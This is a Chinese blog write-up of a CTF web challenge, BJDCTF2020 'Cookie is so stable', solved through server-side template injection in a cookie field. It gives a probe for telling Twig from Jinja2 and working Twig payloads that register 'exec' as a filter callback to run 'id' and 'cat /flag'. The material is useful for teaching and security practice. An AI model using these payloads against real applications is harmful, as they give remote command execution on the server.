buuctf-[BJDCTF2020]Cookie is so stable(小宇特详解)

最新推荐文章于 2024-07-22 17:19:45 发布

小宇特详解

最新推荐文章于 2024-07-22 17:19:45 发布

阅读量3.3k

点赞数 10

分类专栏： buuctf 文章标签：安全 web安全 http

本文链接：https://blog.csdn.net/xhy18634297976/article/details/123011238

版权

23 篇文章

订阅专栏

本文详细介绍了如何通过分析HTTP包和利用服务端模板注入（SSTI）中的Twig攻击来解决BJDCTF2020的Cookieissostable挑战。通过输入特定payload，判断模板注入类型为Twig，并最终构造payload获取Flag。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

先看一下题目

有首页，有flag页面，有Hint页面

这里题目有提示，突破口是在cookie上面

这里先进行抓包分析

这里的知识点是利用服务端模板注入攻击。SSTI里面的Twig攻击

这里有判断模板注入类型的办法

输入{{7*‘7’}}，返回49表示是 Twig 模块

输入{{7*‘7’}}，返回7777777表示是 Jinja2 模块

这里在cookie处进行判断

user={{7*‘7’}},查看返回值

所以这个模板注入是Twig注入

这里注意要在PHPSESSID后user前加上;分隔开

由于是Twig注入，所以是有固定的payload

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}//查看id

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}//查看flag

同样的方法，在cookie输入

然后构造获取flag的payload

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}//查看flag